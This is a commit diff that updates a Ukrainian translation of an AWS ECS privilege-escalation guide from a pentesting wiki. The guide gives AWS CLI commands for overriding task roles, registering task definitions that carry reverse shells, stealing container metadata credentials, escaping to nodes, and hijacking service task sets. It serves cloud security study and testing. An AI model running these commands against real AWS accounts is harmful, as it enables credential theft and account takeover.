Translated ['', 'src/pentesting-ci-cd/gitblit-security/gitblit-embedded-

This commit is contained in:
Translator
2025-09-04 23:48:42 +00:00
parent 67d9edf285
commit c18ec3f0dd
4 changed files with 138 additions and 138 deletions
@@ -4,7 +4,7 @@
## ECS
Додаткова **інформація про ECS** у:
Більше **інформації про ECS** в:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** з **шкідливим контейнером**, який викрадає облікові дані метаданих і **запустити його**.
Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** зі **шкідливим контейнером**, який викрадає облікові дані метаданих та **запустити його**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Створіть webhook на сайті на кшталт webhook.site
Створіть webhook за допомогою сайту на кшталт webhook.site
```bash
# Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Потенційний вплив:** Direct privesc to a different ECS role.
**Потенційний вплив:** Direct privesc до іншої ролі ECS.
### `iam:PassRole`,`ecs:RunTask`
Зловмисник, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове ECS завдання з зміненими значеннями **execution role**, **task role** та **command** контейнера. CLI-команда `ecs run-task` містить прапорець `--overrides`, який дозволяє змінювати під час виконання `executionRoleArn`, `taskRoleArn` та `command` контейнера без модифікації task definition.
Атакувач, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове завдання ECS з модифікованими значеннями **execution role**, **task role** та **command** контейнера. Команда CLI `ecs run-task` містить прапорець `--overrides`, який дозволяє під час виконання змінювати `executionRoleArn`, `taskRoleArn` та `command` контейнера без змін у task definition.
Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у політиці довіри повинні дозволяти їх бути assumed сервісом `ecs-tasks.amazonaws.com`.
Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у своїй політиці довіри повинні дозволяти, щоб їх приймав сервіс `ecs-tasks.amazonaws.com`.
Крім того, зловмиснику потрібно знати:
- назву ECS кластера
Також, атакувач повинен знати:
- назву кластера ECS
- VPC Subnet
- Security group (If no security group is specified the default one will be used)
- Security group (Якщо не вказано, буде використано групу за замовчуванням)
- назву Task Definition та ревізію
- назву контейнера
- назву Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
У наведеному вище фрагменті коду атакувальник змінює тільки значення `taskRoleArn`. Проте атакувальник повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, і на `executionRoleArn`, вказаний у визначенні таска, щоб атака була можлива.
У наведеному вище фрагменті коду атакуючий перезаписує лише значення `taskRoleArn`. Однак для виконання атаки атакуючий повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, та на `executionRoleArn`, вказаний у визначенні завдання.
Якщо IAM role, яку атакувальник може передати, має достатні привілеї для завантаження образу з ECR та запуску ECS таска (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакувальник може вказати ту саму IAM role для обох `executionRoleArn` і `taskRoleArn` у команді `ecs run-task`.
Якщо роль IAM, яку атакуючий може передати, має достатні привілеї для завантаження образу з ECR і запуску ECS-завдання (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакуючий може вказати одну й ту саму роль IAM як для `executionRoleArn`, так і для `taskRoleArn` у команді `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Можливий вплив:** Пряме privesc до будь-якої ECS task role.
**Potential Impact:** Прямий privesc до будь-якої ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Як і в попередньому прикладі, зловмисник, що зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати нову task definition** з **malicious container**, яка викрадає metadata credentials і **запустити її**.\
Однак у цьому випадку потрібен container instance для запуску malicious task definition.
Як і в попередньому прикладі, атакуючий, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати новий task definition** з **malicious container**, який краде metadata credentials і **запустити його**.\
Однак у цьому випадку потрібен container instance, щоб запустити зловмисний task definition.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
**Потенційний вплив:** Прямий privesc на будь-яку роль ECS.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Як і в попередньому прикладі, атакуючий, зловживаючи дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати нове визначення задачі** з **шкідливим контейнером**, який викрадає облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 запущеним завданням.**
Як і в попередньому прикладі, attacker, який зловживає правами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати новий task definition** з **шкідливим контейнером**, який викрадає metadata credentials, і **запустити його, створивши новий service з принаймні 1 запущеним task.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potential Impact:** Прямий privesc до будь-якої ролі ECS.
**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Насправді, лише з цими дозволами можна використовувати overrides для виконання довільних команд у контейнері з довільною роллю приблизно так:
Насправді, лише з цими дозволами можна використовувати overrides, щоб виконати довільні команди в контейнері з довільною роллю за допомогою чогось на кшталт:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Можливий вплив:** Direct privesc to any ECS role.
**Потенційний вплив:** Прямий privesc до будь-якої ролі ECS.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Цей сценарій схожий на попередні, але **без** **`iam:PassRole`** дозволу.\
Це все ще цікаво, тому що якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **run a privileged container to escape** на вузол і **steal the EC2 IAM role** та **the other ECS containers roles**, що працюють на ньому.\
Ви навіть можете **force other tasks to run inside the EC2 instance** яку ви скомпрометували, щоб викрасти їхні облікові дані (як обговорено в [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\
Це все ще цікаво, тому що, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб вийти на вузол** і **вкрасти EC2 IAM роль** та **ролі інших контейнерів ECS**, що працюють на вузлі.\
Ви навіть можете **змусити інші таски запускатися всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорено в розділі [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Ця атака можлива лише якщо **ECS cluster is using EC2** інстанси і не Fargate.
> Ця атака можлива тільки якщо **ECS cluster** використовує **EC2** інстанси, а не **Fargate**.
```bash
printf '[
{
@@ -233,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та екфільтрувати прикріплену до нього IAM роль (вам потрібні дозволи describe, оскільки вони необхідні для виконання `aws ecs execute-command`).\
Однак, для цього інстанс контейнера має бути запущений з **ExecuteCommand agent** (за замовчуванням цього немає).
Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати прикріплену до нього роль IAM (потрібні права describe, оскільки для запуску `aws ecs execute-command` вони необхідні).\
Однак для цього інстанс контейнера має працювати з **ExecuteCommand agent** (за замовчуванням це не так).
Тому зловмисник може спробувати:
Отже, зловмисник може спробувати:
- **Спробувати виконати команду** в кожному запущеному контейнері
```bash
@@ -256,18 +256,18 @@ aws ecs execute-command --interactive \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
```
- Якщо має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]`
- Якщо має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]`
- Якщо має **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
- Якщо має **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
- Якщо у нього є **`ecs:RunTask`**, запустіть завдання за допомогою `aws ecs run-task --enable-execute-command [...]`
- Якщо у нього є **`ecs:StartTask`**, запустіть завдання за допомогою `aws ecs start-task --enable-execute-command [...]`
- Якщо у нього є **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]`
- Якщо у нього є **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]`
Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**.
Ви можете знайти **приклади цих опцій** в **попередніх розділах ECS privesc**.
**Potential Impact:** Privesc до іншої ролі, прикріпленої до контейнерів.
**Потенційний вплив:** Privesc до іншої ролі, прив’язаної до контейнерів.
### `ssm:StartSession`
Перевірте на **ssm privesc page**, як можна зловживати цим дозволом, щоб **privesc to ECS**:
Перегляньте **ssm privesc page**, щоб дізнатися, як можна зловживати цим дозволом для **privesc to ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Перевірте на **ec2 privesc page**, як можна зловживати цими дозволами, щоб **privesc to ECS**:
Перегляньте **ec2 privesc page**, щоб дізнатися, як можна зловживати цими дозволами для **privesc to ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
Attacker з цими дозволами потенційно може зареєструвати EC2 інстанс у ECS кластері та запускати завдання на ньому. Це могло б дозволити attacker виконувати довільний код у контексті завдань ECS.
Атакувальник з цими дозволами може потенційно зареєструвати EC2 інстанс в ECS кластері та запускати на ньому таски. Це може дозволити виконувати довільний код в контексті ECS tasks.
- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунту, щоб завдання виконувалися на машинах, контрольованих attacker??
- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунта, щоб таски виконувались на машинах, контрольованих атакуючим??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Протестувати це
Attacker з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, та `ecs:DescribeTaskSets` може **create a malicious task set for an existing ECS service and update the primary task set**. Це дозволяє attacker **execute arbitrary code within the service**.
Атакувальник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий task set для існуючого ECS service та оновити primary task set**. Це дозволяє атакувальнику **виконувати довільний код в межах сервісу**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Потенційний вплив**: Виконання довільного коду в ураженому сервісі, що потенційно може вплинути на його функціональність або exfiltrating конфіденційних даних.
**Потенційний вплив**: Виконання довільного коду у постраждалій службі, що може вплинути на її функціональність або призвести до несанкціонованої ексфільтрації конфіденційних даних.
## Посилання